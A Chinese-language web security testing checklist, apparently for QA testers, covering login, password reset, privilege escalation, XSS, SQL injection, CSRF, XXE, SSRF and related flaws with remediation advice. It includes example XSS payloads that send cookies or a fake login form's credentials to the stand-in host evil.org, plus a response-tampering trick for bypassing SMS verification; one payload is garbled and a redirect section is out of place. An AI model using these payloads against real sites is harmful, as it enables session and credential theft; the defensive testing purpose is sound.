Web安全测试检查点
上传功能
1.绕过文件上传检查功能
2.上传文件大小和次数限制
注册功能
1.注册请求是否安全传输
2.注册时密码复杂度是否后台检验
3.激活链接测试
4.重复注册
5.批量注册问题
登录功能
1.登录请求是否安全传输
2.会话固定：Session fixation attack(会话固定攻击)是利用服务器的session不变机制，借他人之手获得认证和授权，然后冒充他人。
3.关键Cookie是否HttpOnly：如果Cookie设置了HttpOnly标志，可以在发生XSS时避免JavaScript读取Cookie。
但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标识需要添加这个属性。
4.登录请求错误次数限制
5.“记住我”功能：勾选“记住我”后，Cookie中记录了用户名和密码信息
6.本地存储敏感信息
验证码功能
1.验证码的一次性
2.验证码绕过
3.短信验证码轰炸：如果这个接口没有限制策略，就会被人恶意利用
忘记密码功能
1.通过手机号找回：不过由于程序设计不合理，导致可以绕过短信验证码，从而修改别人的密码。（使用burpsuite抓包，修改响应值true）
2.通过邮箱找回
密码安全性要求
1.密码复杂度要求
2.密码保存要求
横向越权测试：不同用户之间session共享，可以非法操作对方的数据
纵向越权测试：很多应用简单的通过前端判断，或者低权限角色看不到对应的菜单，但并未在后台去做当前登录用户是否有权限
XSS测试
跨站脚本攻击(Cross Site Scripting)：恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的
1.反射型XSS：利用请求参数param2，进行XSS注入，设置js等可执行或可跳转语句
param2=<script>document.write(‘<imgsrc="http://img.558idc.com/uploadfile/allimg/210612/100AR508-0.jpg style="color: #800000;">‘+encodeURI(document.cookie)+‘"/>‘)</script>
这个网站的已登录用户去点击，cookie会被发送到 evil.org 上去。
处理意见：对特殊字符转义输出，特别是‘"<>这几个。
2.存储型XSS：在论坛上发表帖子，假设论坛有漏洞，可以在帖子中注入下面的JS内容：
<script> document.body.innerHTML="<h1>PleaseLogin</h1><form action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text name=user><br>Password:<inputtype=text name=password></p><input type=submit name=login></form> </script>
当其他用户浏览该帖子时，就会弹出登录框，这是页面中注入的XSS生成的，如果您输入了账号密码，那就被发送给黑客了
处理意见：对特殊字符转义输出，特别是如下几个‘"<>
3.DOM型XSS：基于DOM型XSS样例，相比较与Reflected、Stored XSS属于server side execution issues而言，DOM based XSS 是client(browser)side execution issue
Step1：如下面请求的hash部分，由客户端JS动态执行产生XSS注入
http://www.webapp.com/example.jsp?param1=value1#\u003ciframeοnlοad=alert(‘xss‘)\u003e
Step2：动态生成：<divid="m"><iframeοnlοad="alert(‘xss‘)"></iframe></div>
这个比较难测试，一般需要阅读页面中的JS代码，去分析。没有固定的测试步骤，还是需要大家自己多学习。不作为强制项，WebInspect扫过即可.
处理意见：对特殊字符转义输出，特别是‘"<>
SQL注入测试
SQL注入攻击的基本原理是通过构建特殊的输入参数，迫使后台数据库执行额外的SQL语句，从而达到获取数据库数据的目的。
这些输入参数往往包含恶意的SQL注入语句，后台处理程序没有对这些参数进行过滤，且所使用的数据库查询手段为拼接方式，进而导致敏感数据外泄。
在动态构造SQL语句的过程中，除了特殊字符处理不当引起的SQL注入之外，错误处理不当也会为Web站点带来很多安全隐患。
最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。
在SQL注入的过程中，如果Web服务器关闭了错误回显，那么是不是就安全了呢？答案显然是否定的，攻击者仍然可以通过 "盲注"技巧测试SQL命令是否注入成功。
所谓"盲注"就是在服务器没有错误回显时完成的注入方式，攻击者必须找到一个方法来验证注入的SQL语句是否执行。
"盲注"主要分为两种类型：基于时间的盲注和布尔盲注。
测试方法（黑盒）：sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，
测试方法（白盒）：如果项目的数据库持久层框架是mybatis，并且他的sqlmap中编写方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入问题。
注：sqlMap中尽量不要使用$;$使用的是Statement（拼接字符串），会出现注入问题。#使用的是PreparedStatement（类似于预编译），将转义交给了数据库，不会出现注入问题；前者容易出现SQL注入之类的安全问题，所以mybatis推荐使用#。
写接口限制测试
比如：找回密码的邮件。多次调用，造成邮件轰炸。 新增的接口，如写文章、上传文件等。这些接口如果没有任何限制，那么恶意用户使用程序无限循环的调用接口，就会写入大量的数据。通过并发、循环方式上传大量文件，填满磁盘，消耗服务器资源。修复建议：对写入量大的接口（如上传）做必要的限制。
CSRF测试
CSRF（Cross-site requestforgery），中文名称：跨站请求伪造。用户C在为退出A的情况下，浏览B，B使用C的session非法访问A。
检查：
Ø 是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 （通过）
Ø 是否验证referer。有则（通过）
Ø 请求的参数均可推测，无CSRF防御机制。（不通过）
测试中，需要对所有写接口检查，可以采用如下方式，记录接口，标记是否已检查。
修复建议：
Ø 方法1：验证码
验证码制用户必须与应用进行交互，才能完成最终请求。因此在通常情况下，验证码能够很好地遏制CSRF攻击。
但是这种方式易用性方面似乎不是太好，并且对于简单的图形验证码也有很多绕过机制。防御CSRF的一种辅助手段
Ø 方法2：Referer 验证
当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。
通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF，但是Referer可能会包含一些敏感信息甚至在某些情况下能够被伪造。
因此我们无法依赖于Referer来作为防御CSRF的主要手段，但是可以通过Referer来监控CSRF攻击的发生。
Ø 方法3：Token验证
在请求原参数不变的条件下，新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。
后端在对数据处理前会首先对Token参数进行验证，只有用户请求中的Token与用户Session（或Cookie）中的Token一致时，才会认为请求是合法的。
由于Token的存在，攻击者就无法构造一个完整的请求实施CSRF攻击，从而保证了网站或系统的安全。
敏感信息泄露
SVN信息泄露：有数据库账号和密码等信息；
页面泄露敏感信息：有些WEB应用，在返回给客户端的响应中，包含了敏感信息，例如密码。
目录遍历
在web应用中，如下图所示的显示目录文件列表，会带来一定的安全隐患（服务器文件列表）
CRLF测试
CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。
修复建议：过滤CR和LF字符。或者转义
任意文件读取
任意文件读取是属于文件操作漏洞的一种，一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件。
严重的话，就可能导致SSRF，进而漫游至内网。
URL重定向测试
测试 URL 重定向
在主计算机中打开 Internet Explorer 浏览器，并输入您为重定向指定的 URL。
验证网页是否在来宾虚拟机上的 Internet Explorer 中打开。
为要测试的每个 URL 重复此过程。
点击劫持ClickJacking
点击劫持（ClickJacking）是一种视觉上的欺骗手段。大概有两种方式，一是攻击者使用一个透明的iframe，覆盖在一个网页上，然后诱使用户在该页面上进行操作，此时用户将在不知情的情况下点击透明的iframe页面；二是攻击者使用一张图片覆盖在网页，遮挡网页原有位置的含义。
XXE
简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如，如果你当前使用的程序为PHP，则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体，从而起到防御的目的。
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF是要目标网站的内部系统。（因为他是从内部系统访问的，所有可以通过它攻击外网无法访问的内部系统，也就是把目标网站当中间人）
CORS问题
Cross Origin Resource Sharing(CORS)，顾名思义，即跨域共享，当两个不同domain进行访问的时候，默认情况是不能访问的，需要解决CORS问题。